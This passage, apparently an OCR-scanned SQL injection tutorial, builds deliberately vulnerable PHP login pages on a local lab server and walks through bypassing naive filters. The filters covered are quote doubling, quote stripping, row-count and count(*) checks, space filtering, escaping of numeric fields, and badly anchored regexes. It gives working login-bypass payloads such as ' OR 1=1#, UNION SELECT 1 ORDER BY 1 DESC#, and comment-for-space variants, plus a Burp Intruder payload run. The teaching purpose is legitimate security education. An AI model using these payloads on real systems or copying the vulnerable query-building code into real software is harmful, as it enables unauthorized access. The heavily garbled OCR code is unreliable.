Aocept-Encoding: gzip, deflate

Host: 192.1g8.1g8.111:8888

Content-Length: 29

Froxvy-Connection: Eeep-Ailive

Fragmwa: no-cache

Cookie: PHPFIESSID=llinvtvidsicqridkmSdvkslsT77

Pitchfork

Cluster bomb

USername=SxXxExxSepassvord=8vyvvyvs

Then click to the Intruder / Start attack command again:

[ i Send to Repeater

Click OK on the warning window again:

The free edition of Burp contains a demo versicn of Burp Intruder. Some functionality is disabled, and attacks are time throttled.

! Please visit http://portswigger.net for more details about Burp Suite Professicnal which contains the full version.
=



And wait until the test finishes, then review the results. Now you will find some successfull attack:

Attack Save Columns

_[ Results T Target T Pasiticns T Payloads T Options ]

Filter: Showing all items

Request 4 | Paylocad | Status | Emor | Timeout | Length | Comment
a 200 (] (] 228 baseline reguest
1 " OR "= 200 L L 208

2 OR 1=1-- 200 L L aTs

3 OR 1=1# 200 L L ars

4 OR 1=1/ 200 L L 410

5 OR 1=1- 200 I I 208

] " OR""="1 200 L L 225

7 "OR 1=1-- 200 I I 228

] "OR 1=1# 200 I I 225

9 "OR 1=1/" 200 I I 225

10 200 I I 228

Request | Response ]

_[F!awTHeaders-THex]

HTTP/1.1 200 0K

Date: Sat, Z2Z Febk 2014 le:4%5:14 GMT

Server: Apache/2.4.7 (Win3Z) Open33L/L1l.0.l= PHPF/5.5.6
¥-Powered-By: FHF/5.5.6

Content-Length: 9

Connection: close

Content-Type: text/html

Logged in

It is a simple example to see that one should be careful with automated and semiautomated tools. Even
in so simple cases like these examples one can get a false negative results easily if they are used
without background knowledge.



Classic login with trivial filtering (change ' to ")

Another common "defense" mechanism in applications is to change the apostrophe ' to double
apostrophe ". It works because if you write two apostrophes next to each other it means for the SQL
Server we did not want to finish the string, but we wanted to write an apostrophe within the string

(escaping).
For this example we will use the following sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

s

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7
sORREGa JMR(deny| e BRI 1[FZEA|®
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1 ktitlebmx;ggi&(ftitleb

<body>

<form action="ggl.php" method="POST">
User Name: <input type="text" id="gsername" name="gpsername"/><br/>
Password: <input type="password" id="password" name="password"/><bxr/>
<input type="submit" value="zend">

</ form>

</body>

[Y O T T L I |

oy LN

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!S$con) {

echo ('Connection ERROR');

die(print r (mysgli error ($con)));

}



Squery = "SELECT * FROM tbll WHERE username="'"
str_replace("'","''",$ POST['username']) . "' AND password='"
str _replace("'","''",$ POST['password']) . "';";
$stms = mysgli query(Scon, S$query);
if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqgli fetch array($stms, MYSQLI ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>

File Edit Search View Encoding Language Settings Macre Run  Plugins  Window 7

cHHERLB| sk oe(ay x| BEST1[EEEH®ENBE

[=] =ql.php ﬂl
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root"™;
E Sdbpazsword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
7 [Eif (!Scon) {
8 echo('Connection ERRCR'") ;
g die(print r(my=sgqli_ error(Sceon)));
10 1
11 Squery = "SELECT * FROM tbll WHERE username="'"
12 str replace("'","''",% POST[ ussrname.l) - "' BND password='" .
13 str replace("'","'"'", $_POST[ 'password']) . "';";
14 Sstms = mysqgli query({$con, Squery);
15 [Hif (S$stms === false) |
16 echo ("ERROR during query execution: ");
17 die (print r(mysgli_ error(Sceon)));
18 N

15 Srow = mysgli fetch array($stms, MYSQLI ASSCC);
20 Hif (Srow) {

21 die("Logged in");

22 N

22 [Helse]

24 die ("Wrong ygssrnams or password');
25 '}

26 T R




If we try the original working example ' OR 1=1# ,it will not work.

e- =2 )| (2 http://192.168.168.111:8888/mysql/sq/d/sql.html

User Name: |‘ OR 1=1# ®

Password: I

send

It is quite clear, what the problem is.We get the following SQL query:

SELECT * FROM tbl1 WHERE username='" OR 1=1#'AND password="";

As we can see there are three apostrophes next to each other at the beginning. The SQL Server will
understand it as follows: the first apostrophe starts the string the next two are two apostrophes next to
each other in a string, what means we did not want to finish the string, but wanted to write an
apostrophe within the string, we were not able to break out from the string to write SQL. It means the
OR 1=1#is only a string, and the string is finished with the apostrophe in the code.

e- =l (2 http://192.168.168.111:8888/mysqgl/sqld/sql.php

Wrong username or password

Now let us find how we can bypass this method. The first idea what one used to have is to use two
apostrophes in our input as: "' OR 1=1#. At the beginnig there are two apostrophes next to each other,
not a quotation mark. Then we will get the next query string (with five apostrophes at the beginning):

SELECT * FROM tbl1 WHERE username='""" OR 1=1#'AND password="";

The SQL will understands it as: the first apostrophe starts the string. Then two apostrophes next to each
other means we wanted to write an apostrophe within the string. The next two apostrophes means again
that we wanted to write an apostrophe within the string. So we were not able to break out from the
string, the OR 1=1# is still a string, not an SQL instruction. The string will finish with the original
apostrophe.

So this idea is wrong. Unimportant how many apostrophes you write, because it will be doubled so the
number of apostrophes will be always an even number. Because of it we will not be able to break out
from the string.

Then what can we do? The doubling of the apostrophe is the escaping of it. But there is an other
method to escape: use a blackslash \ character. Try the following input string: \' OR 1=1#.



e o (22 http://192.168.168.111:3888/mysql/sql4/sql.html

User Name: |'IL' OR 1=1#
Password: |

send

It will give us the next query:

SELECT * FROM tbl1 WHERE username="\"' OR 1=1#'AND password="";

The SQL will execute it as: the first apostrophe starts the string.

Then comes a \' it means we want to write an apostrophe within the string.

And the next apostrophe, what was added by the replace, then closes the string.

It means the OR 1=1# is an SQL instruction again, so we were able to do the SQL injection attack.

e|@| @ http://192.168.168.111:8888/mysql/sqH/sql.php

Logged in



Classic login with trivial filtering (change ' to nothing)

Another "defense" against SQL injection is to change the apostrophe to nothing, because then we will
not be able to break out from the string. To try this one can use the following sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

LE
File Edit 5earch View Encoding Language Settings Macre Run Plugins Window 7
SRR GAldRReag 2= |BE|IZ1IEEA|®
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1 kritlesmylogin</title>
2 <body>
3 <form action="ggl.php" method="POST"»

: User Name: <input type="text" id="gsername" name="gsername"/><br/>
Password: <input tyvpe="password" id="password" name="password"/»><br/>

1 o

<input type="supbmit" wvalue="=zend">
</ form>
< /body>

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!Scon) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='" . str_replace("'","",
$ POST['username']) . "' AND password='" . str replace("'","",
$_POST['password']) . "';";

$stms = mysqgli query(Scon, Squery);



if ($Sstms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysgli fetch array(Sstms, MYSQLI ASSOC);
if (Srow) {
die ('Logged in');
}
else{
die ('Wrong username or password');

}
7>

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7

cHHERGLA| s mb/oehy a2z BREN1[EREA CERBE

1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root™;
e Sdbpassword = "";
5 Sdbsrvnam= = "127.0.0.1";
& fcon = mysqli connect ($dbsrvname, Sdbusername, Sdbpassword, Sdbname);
7 Hif (!Scon) |
8 echo('Connection EREBOR") ;
g die(print r(mysqli_error(%con)));
10 1
11 Squery = "SELECT * FROM tbll WHERE username=""
12 str replace("'","",$ POST['uzcrname.l) . "' AND password=""
13 str_replace("'".,"", $_POST ["password"]) . "'";";
14 $stms = mysgli query(Scon, Squery);
15 [Hif (S=tms === fals=se) |
16 echo ("ERROR during query execution: ");
17 die(print r {mysgli error{Scon)));
18 i
15 frow = mysqli fetch array($stms, MYSQLI ASSCC);
20 [HEif (Srow) |
21 die("Logged in");
22 1
23 [Hel=e|
24 die('Wrong yssername or password");
235 1
26 =

If one tries the original ' OR 1=1# injection string



.\ | & http://192.168.168.111:3888/mysql/sql5/sql.htm

User Name: |‘ OR 1=1# ®

Password: |

send

of course it does not work:

{\. '_>\I 2 http://192.168.168.111:3888/mysql/sql5/sql.php

Wrong username or password

The SQL query we get in this case is the following:
SELECT * FROM tbl1 WHERE username=' OR 1=1#'AND password="";

Because our apostrophe was deleted we were not able to break out from the string, and what we entered
remains a string, does not become SQL instruction.

Then one most probably has the idea of try ing the previous solution, to use the \'OR 1=1#

eo (22 http://192.168.168.111:8888/mysql/sql5/sql.html

Uszer Name: |\' OR 1=1#

Password: |

But it does not work, because it gives us the following query string:

SELECT * FROM tbl1 WHERE username="\ OR 1=1#'AND password="";

As we can see the \ does not escape anything.

{\. '_>\I (2 http://192.168.168.111:3888/mysql/sql5/5ql.php

Wrong username or password

Then what is the solution? If we write only a blackslash \ character as username, then we can excape
the second apostrophe in the SQL query, what closes the string. So the string will be closed only by the
next apostrophe, what is the starting apostrophe of the password string. So the AND password= will be



the content of the username:
SELECT * FROM tbl1 WHERE username="\'"AND password="";
This way we get a nice syntax error because the number of the apostrophes will be incorrect.

But now the starting apostrophe of the password string becomes the closing apostrophe. It means what
we write as password will be SQL instruction.

e o (2 http://192.168.168.111:3888/mysql/sql5/sql.html

User Name: |'IL

Password: Irr------

send

The final solution is to write a \ as username. Because of this everything until the starting apostrophe of
the password becomes a string. The starting apostrophe of the password string became a closing
apostrophe, so if we write OR 1=1# as password (a space needed to the beginning of it) it will be an
SQL instruction:

e e (22 http://192.168.168.111:3888/mysql/sql5/sql.html

User Name: |'IL
Password: | OR 1=14] X

The SQL query in this case will be:

SELECT * FROM tbl1 WHERE username="\"AND password=' OR 1=1#";

And we can log in:

I::_ :fl 2 http://192.168.168.111:3888/mysql/sql5/sql.php

-




Classic login with returned row number check in PHP

Another version of the logon screen, if the developpes check the number of rows returned. Until now,
because of the always true condition, the query gave back the whole tanbe. But if someone enters a
username and a password, then only one row returns. So if the developer checks the number of rows
returned, and it is greater than one it means there is some problem, and should not allow the login. To
test this method use the following sql.html code:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
size="50"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

e
File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7
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1 ktitle}mx;gg;g<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">

;! User Name: <input type="text" id="gsername" name="gssrname" size="50"/><br/>
< Password: <input type="password" id="password" name="password"/><br/>

6 <input type="submit" value="zend"»>
</ form>
B < /body>

And the sql.php is the following:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!Scon) {

echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
$query = "SELECT * FROM tbll WHERE username='" . $ POST['username']
"' AND password='" . $ POST['password'] . "';";



$stms = mysgli query(Scon, S$query);

if ($stms === false) {
echo ('ERROR during query execution:
die(print r (mysgli error($con)));

}
$row = mysqli num rows ($stms) ;
if ($Srow == 1) {
die('Logged in') ;
}
else{
die ('Wrong username or password') ;

')

}
>
File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7

cHEERGEE sah e e xxBE(S1[EEED| @ @M WE

[=] =gl php Bl
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root";
4 Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
G Scon = mysqgli connect ($dbsrvname, $dbusername, S$dbpassword, Sdbname);
T [HAif (!Scon) |
8 echo ('Connection ERRCOR");
2 die {print_r{mysqli_error (Scon) ) ) ;
. | ]
11 Squery = "SELECT * FRCOM tbll WHERE username=""
12 $ PoST[ ! uasrname.l] "' AND password="" .
13 $ POST['password'] . "";";
14 Sstms = mysqgli query({Scon, $Squery);
15 [Hif (S=tm= === false) |
16 echo ("ERROR during gquery execution: ");
17 die {print_r{mysqli_error (Scon) ) ) ;
18 R
19 Srow = mysqgli num rows{Sstms);
20 [Hif (Srow =— 1)1
21 die ("Logged in');
S99 |
22 [Helse{
24 die ("Wrong yssrname or password');
25 R
26 e

If we try the usual ' OR 1=1# injection string as username:



e o (2 http://192.168.168.111:3888/mysql/sql6/sql.html

Uszer Name: |‘ OR 1=1#

Password: |

We will not be abel to log in, because the query we get is this:

SELECT * FROM tbl1 WHERE username="' OR 1=1#'AND password='"";

what gives us back more than one line so the check in the PHP will not allow us to log in.

e @ (=2 http://192.168.168.111:3888/mysql/sgl6/sgl.php

Wrong username or password

Then what we can do? The solution is simple, we have to limit the result set to one line. In MySQL for
this purpose one can use the LIMIT 1 keyword. So we can use the ' OR 1=1 LIMIT 1# as username.

ee 22 http://192.168.168.111:8888/mysql/sql6/sql.html

User Name: [ OR 1=1 LIMIT 1#

Password: |

By the help of this input we will get the following query string:

SELECT * FROM tbl1 WHERE username="' OR 1=1 LIMIT 1#’AND password="";

What gives us back only one line as result set, and we will be able to login again:

e@ @ http://192.168.168.111:8888/mysql/sql6/sql.php

Logged in




Classic login with returned row number check in SQL (count)

Another version of the same idea is to check the returned number of rows not in the PHP or any other
code, but modify the SQL query to return the munber of rows selected by the condition. It can be very
easily done by using the count keyword in SQL. To try this method use the following code as sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
size="50"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

e
File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7
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1 ktitlesmylogin</title>

2 <body>

3 <form action="ggl.php" method="POST">

4 User Name: <input type="text" id="gpsername" name="gpzername" =size="50"/><br/>
5 Password: <input tvpe="password" id="password" name="password"/><br/ />
6 <input type="submit" value="szend">
</ form>
B </body>

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
if (!Scon) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT count(*) FROM tbll WHERE username='" .
$ POST['username'] . "' AND password='" . $ POST['password'] . "';";

$stms = mysgli query(Scon, Squery);
1f ($stms === false) {



echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));

}

Srow

= mysqli_ fetch row($stms) ;

if ($row[0] == 1){
die ('Logged in') ;

}

else(

die ('Wrong username or password');

}

?>

File
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Bl<?php
Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";
Scon = mysgli connect{$dbsrvname, $dbusername, $dbpassword, $dbname);

Eif (!Scon){
echo ('Connection ERRCOR") ;
die(print r(mysgli_ error($con)));

th

Squery = "SELECT count(*) FROM tbll WHERE username='"
% POST['ugsrname.] "' BND password="" .
£ poaT['password'] . "';";
Satms = mysqli query($con, Squery);
Elif (Sstms === fals=se) |
echo ("ERROR during guery execution: ");

die (print r (mysqli error($con)));
= 1
Srow = mysqli_fetch_row{-’ﬁstms];
Hif (Srowl[0] == 1){
die("Logged in');
i 1
Felse]
die("Wrong ygsinams or password');

I

Now if we try the classical injection string ' OR 1=1# as username,



G )| @ hittp://192.168.168.111:8888/mysql/sql7/sql.html

Uszer Name: |‘ OR 1=1#

Paszword: |

obviously we will not be able to log in because we get the following SQL query:

SELECT count(*) FROM tbll WHERE username="" OR 1=1#'AND password="";

Here the filtering is true for every row in the database so the count(*) will give us back the number of
rows in the database, what is bigger than one.

(- | & hitp://192,168.168.111:3888/mysql/sql7/sql.php

Wrong username or password

Then we can try the previous example ' OR 1=1 LIMIT 1# as username.

ee @ http://192.168.168.111:8888/mysql/sql7/sql.html

User Name: | OR 1=1 LIMIT 1#

Password: |

But it does not work either. In this case we get the following SQL query:

SELECT count(*) FROM tbl1 WHERE username='' OR 1=1 LIMIT 1#’AND password="";

In this case the limit does not help us. This query returns one row, and the limit keyword has no effect
on the count.

(- )| @ hittp://192.168.168.111:8888/mysql/sql7/sql.php

Wrong username or password

Then what can be the solution? If we know a username, then we can use the username to limit the
number of rows, because the username must be unique.

So one can use the knownusername' OR 1=1# as username. Or the simplier knownuseername'#
version.



ee = http://192.168.168.111:8888/mysql/sql7/sql.html

Usger Name: |name'#

Password: |

In this case we get the following SQL query:
SELECT count(*) FROM tbll WHERE username="'name'#’' AND password="";

And as one can see it returns the number one, if we know a username, because the username must be
unique.

(: | @ http://192.168.168.111:8888/mysql/sql7/sql.php

Logged in

OK, but it was practically a cheating. We supposed to know a username, what was not our assumption
until this point. So try to solve the problem without this assumption.

To do it one can use the following input as username: ' OR 1=1 GROUP BY username#
If we use this input the SQL query will be the following:

SELECT count(*) FROM tbll WHERE username='' OR 1=1 GROUP BY username#’ AND
password="";

If we use this input then because of the OR 1=1 we will get every line on the table. But we group them
by the username what must be a unique field, so we will get a result set with a lot of rows, all the rows
containing the number one. Because we check if the first row of the result set returns one or not, we can
log in.

e o (2 http://192.168.168.111:8888/mysql/sql7/sql.html

User Name: |‘ OR 1=1 GROUP BY username#

Password: I

And as expected we were able to log in:



e- =l (2 http://192.168.168.111:8888/mysql/sql7/sql.php

Logged in

But in this case we had an assumption of that, we know that the column name stores the usernames (or
any ather column name, what contains unique values). Now let us try to solve the problem on the way
we suppose we do not know any column name either.

To solve the problem we should recall what is our purpose. The purpose is to get a result set where the
first row contains only the number one. We can reach this on the way adding another result set, which

contains only the number one.

Great, but how can we add two result sets. The answer is the UNION SQL command. We can use the '
UNION SELECT 1# string that adds the number one to the result set. The SQL query will be this:

SELECT count(*) FROM tbll WHERE username="'' UNION SELECT 1#' AND password="";

But in this case we get the following result set:

We do not know any username so the first select will give us back the result zero, because there can not
be a user with the name nothing, and after that we add the result one. Because our PHP checks the first
row if it is one or not we will not be able to log in again.

OK, then what to do? If the order were opposite we would be able to log in. Then we should only

change the order. To do it use the following input ' UNION SELECT 1 ORDER BY 1 DESC# as
username:

SELECT count(*) FROM tbll WHERE username='' UNION SELECT 1 ORDER BY 1 DESC#'
AND password='"";

Here we used the fact that one can use the column's number instead of its name in the ORDER clause
of an SQL query. And by the help of DESC we change the order to the opposite.

So the result set will be the expected




(2 http://192.168.168.111:8888/mysq/sql7/sql.html

User Name: | UNION SELECT 1 ORDER BY 1 DESC#
Password: |

I send I

And we can log in as expected:

(2 http://192.168.168.111:8888/mysql/sqlT/sql.php

Logged in



Classic login screen with white space regexp filter

Another mitigation technique against the SQL injection attack is to filter the space character from the
input. The space is required for the SQL injection so the problem is solved. To try this use the following
code as sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

o

File Edit Search View Encoding Language Settings Macre Run Pluging  Window 7
cBRER a8l ikt % |BE |1 EEA|BE

Eﬂquﬂmlhﬂ
1 <title>mylogin</title>
2 <body>
3 <form action="ggl.php" method="POST">
g Uzer Name: <input tvpe="text" id="gsername" name="npgername"/><br/>

= Password: <input type="password" id="password" name="password"/><br/>
& <input type="submit" value="send">

7 </ form>

B </body>

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!Scon) {

echo ("Connection ERROR");

die(print r (mysgli error ($con)));
}
if (preg_match("/\s+/", $_POST["username"]) or

preg match("/\s+/", $_ POST["password"])) {

die ("SPACE NOT allowed") ;

}



$query = "SELECT * FROM tbll WHERE username='" . $ POST["username"]

"' AND password='" . $ POST|["password"] . "';";

$stms = mysgli query(Scon, S$query);

if ($stms === false) {
echo ("ERROR during query execution: ");
die(print r (mysgli error($con)));

}

$row = mysqgli fetch array(Sstms, MYSQLI ASSOC);

if (Srow) {

die ("Logged in");}
else(

die ("Wrong username or password");}
?2>

File Edit Search View Enceding Language Settings Macre Run  Plugins  Window 7

cBEHERLE smb|ioeayaxBEIT1EZERIEEDN W E

Ehmpm:ﬂl

1 [l<?php

2 Sdbname = "a";

3 Sdbusername = "root";

B Sdbpassword = "";

5 Sdbsrvname = "127.0.0.1";

& fcon = mysqli connect ($dbsrvname, S$dbusername, Sdbpassword, Sdbname);
T Hif (!Scon){

a echo ("Connection ERRCR") ;

g die (print r(mysqli error ($comn)));

10 BN

11 if (preg match("/\s+/", % POST["usernam="]) or
12 [H preg match ("/\=+/", $§ POST["password"])) {
13 die ("SPACE NOT allowed");

14 BN

15 Squery = "SELECT * FROM tbkll WHERE username=""
16 $ POST["username"] . "' AND password=""
17 $ POST["password"] . "';";

18 S$stms = mysgli query($con, Squery);

12 [Hif (Sstm=s === false) |
20 echo ("ERROR during guery execution: ");
21 die (print r(mysqli error($comn)));
22 B
23 Srow = mysgli fetch array($stms, MYSQLI ASS0C);
24 HAif (Srow) |

25 T die("Logged in") ;]

26 [Helse]

27 I die("Wrong username or password");]

28 e

Try the original ' OR 1=1# as username.



eo (2 http://192.168.168.111:3888/mysql/sql8/sql.html

Uszer Wame: |‘ OR 1=1#

Password: |

Of course we will get a nice error message, what states that the space is not allowed, and we were not
able to log in.

e@ @ http://192.168.168.111:8888/mysql/sql8/sql.php

SPACE NOT allowed

Then we can try to write something else instead of space. The something else is some comment,
because that is interpreted as white space by the SQL. So the test string modified to
'/**/OR/*fgfev*/1=1#

One can write something as comment or just leave the comment empty, it is unimportant. The SQL
query will be the following:

SELECT * FROM tbl1 WHERE username=""/**/OR/**/1=1#" AND password="";

ee @ http://192.168.168.111:8888/mysql/sql8/sql.html

User Name: |‘F"’ [OR[*kjsdh*/1=1#

Password: |

send

And we are able to log in again:

e@ 2 http://192.168.168.111:3883/mysql/sq8/sql.php

Logged in




Classic login screen wrong usage of mysqli_real_escape (numeric input)

Another defense technique against the SQL injection is to use the mysql real escape command to filter
the user input. Of course it is a good solution, but in many cases the application developers are not
aware of the limitations of it. It is able to escape only the string values, because we do not have to
break from a string if the field is numerical. So simply many application developers just add the
mysql real escape around every value (even the numerical ones), and they think it is safe. To try it use
the following code as sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User ID: <input type="text" id="userid" name="userid"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

i

File Edit S5earch View Encoding Language Settings Macre Run Plugins  Window 7
cHERBEGE|ldimE|2ey|ax | BE|=1| EERA|®
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1 <titlermylogin</ticlex

2 <body>

3 <form action="gzgl.php" method="POST">

= User ID: <input type="text" id="gserid" name="gpserid"/><br/>
Password: <input tvpe="password" id="password" namse="password"/><br/ >
<input type="submit" value="=zend">

</ form>

g </body>

o

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
i1f (!Scon) {
echo ('Connection ERROR') ;
die (print r (mysqgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE id="



mysqli real escape string($con, $ POST['userid']) . " AND password='"

mysqli real escape_ string($con, $ POST['password']) . "';";
$stms = mysgli query(Scon, S$query);
if ($stms === false) {

echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));

}
$row = mysqgli fetch array(Sstms, MYSQLI ASSOC);
if (Srow) {
die ('Logged in');
}
else{
echo ($query) ;
die ('Wrong username or password');
}
?>

File Edit Search View Encoding Language Settings Macro Run  Plugins  Window 7

CEEHEEGE st aRoeahn ax BE HT1EREA DN E|[Ee

[=] =gl php E!l
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root";
B S$dbpassword = "";
5 Sdbhsrvname = "127.0.0.1";
G $con = mysgqli_connect ($dbsrvname, S$dbusername, $dbpassword, Sdbname);
7 Hif (!Scon){
8 echo ("Connection ERROR") ;
9 die (print r (mysgli_error($con)));
10 |}
11 $query = "SELECT * FROM tbll WHERE id="
12 mysgli real escape string($con, $ POST['ussrid!l) . " AND password=""
13 mysqgli_ real escape_ string($com, $ POST['password']) . "';";
14 $stms = mysgli_guery($con, Squery);
15 [Elif ($stms === false) |
16 echo ("ERRCOR during gquery execution: ');
17 die (print r(mysgli_error(Scon)));
18 I}
19 Srow = mysgli fetch array($stms, MYSQLI ASS0C);
20 Hif (Srow) {
21 die('Logged in");
22 I}
232 Helsef{
24 echo ($query) ;
25 die("Wrong ygginame or password');
26 1}
27 S

In this case we should not break out from the string. If we write the injection to the user id field it
means the mysqli_real escape can not defend that field. We can use the following string: 1 OR 1=1# as



userid

ee (2 http://192.168.163.111:3888/mysql/sql9/sql.html

User ID: |1 OR 1=1#

Paszword: |

With this input we get the following SQL query:

SELECT * FROM tbl1 WHERE id=1 OR 1=1# AND password="";

It is again a query that is always true, so we will be able to log in:

e@ @ http://192.168.168.111:8888/mysql/sql9/sql.php

Logged in

If one tries the SQL injection in the password field, it will not work, because that is a string field, and
the mysqli_real escape works in that case as expected.

ee (2 http://192.168.168.111:3888/mysql/sq19/sql.htm!

User ID- |1
Password: |‘ OR 1=1%| -

Here is the built query where we can see the effect of escaping.

e@ i% http://192.168.168.111:2288/mysql/sql9/sql.php P~ i,:_‘;;:_‘ 182,162,168.111

SELECT * FROM tbll WHERE 1d=1 AND password="" OR. 1=1#;Wrong username or password




Classic login screen with bad numeric regexp filter check only the start

OK, our developer learned, the mysql real escape is not good for it. So might decide to use some
regexp filter, to check, if the entered string is a number, or not. But it can be done on wrong way. To try
it use the following code as sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
UserID: <input type="text" id="userid" name="userid"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

o

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7

cEHRREGE|ld MRy 2ax | BEE[(S1] 2ELD|®
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1 kritlesmylogin</title>
2 <body>

z <form action="ggl.php" method="POST">
4 OUserID: <input type="text" id="gpgerid" name="uzerid"/><br/>
Password: <input tyvpe="password" id="password" name="password"/><br/>

<input type="sobmit" wvalue="send">
</ form>
< /body>

1 ™

And use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!$con) {
echo ("Connection ERROR");
die(print r (mysgli error ($con)));
}
if (!'preg match("/~[0-9]1+/", $_POST["userid"])) {
die ("ONLY numbers allowed") ;
}
$query = "SELECT * FROM tbll WHERE id=" . $ POST["userid"] . " AND



password='" . mysqli real escape_string($con, $_ POST["password"]) .

wrv o..nm,
4 4

$stms = mysgli query(Scon, S$query);

if ($stms === false) {
echo ("ERROR during query execution: ");
die (print r (mysgli error(Scon)));

}
$row = mysqgli fetch array(Sstms, MYSQLI ASSOC);
if (Srow) {
die ("Logged in");
}
else/{
die ("Wrong username or password");}
2>

File Edit 5earch View Encoding Language Settings Macro Run  Plugins  Window 7

cHHER B smb|ioeanax BE = 1EIERCENEE

[=] sql php E:!|
1 FEl<?php
2 Sdbname = "a";
3 Sdbusername = "root™;
E Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
G fcon = mysqli connect ($dbsrvname, Sdbusername, Sdbpassword, Sdbname);
T Hif (!Scon){
a echo ("Connection ERROR") ;
g die (print r(mysgli_error(Scon)));
10 1
11 [Hif (!preqg mateh("/~[0-3]+/", & POST["userid"])){
12 die ("ONLY numbers allowed™);
.
14 Squery = "SELECT * FRCM tbll WHERE id="
15 $ POST["userid"] . " AND password=""
16 mysgli real escape string($con, $ POST["password"]) . "';";
17 Sstmes = mysgli query(Scon, Sguery);
182 [Hif (S$stms == false) |
18 echo ("ERRCOR during query execution: ");
20 die(print r(my=sgqli_ error(Sceomn)));
21 B
22 Srow = mysgli fetch array(Sstms, MYSQLI ASSOC);
232 [Hif (Srow){
24 die("Logged in");
25 [}
26 [Helse]
27 I die("Wrong username or password") ;]

28 = [




The problem is that the used regular expression is this:
/NO0-91+/

it checks only, if the string starts with a number. So if we use the previous example 1 OR 1=1# the
regular expression will not filter it.

eo @ http://192.168.168.111:8888/mysql/sql10/sql.html

UserID: [1 OR 1=1#
Pazsword: |

And we were able to log in with it:

e@ @ http://192.168.168.111:8888/mysql/sql0/sql.php

Logged in




Classic login screen with bad numeric regexp filter checks only the end

Another problem can be if one checks only the end of a string, if it is a number.

To try it use the following code as sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
UserID: <input type="text" id="userid" name="userid"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

LE
File Edit 5earch View Encoding Language Settings Macre Run Plugins Window 7
HRERLAlsRR[deng x| BRI 1DEDI@
Eﬂquﬂmlﬁﬂ
1 kritlesmylogin</title>
2 <body>
3 <form action="ggl.php" method="POST">

- UserlID: <input type="text" id="pserid" neme="gpserid"/><br/>
Password: <input tyvpe="password" id="password" name="password"/><br/>

[ 1

<input type="submit" wvalue="send">
</ form>
B </body>

And the this code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

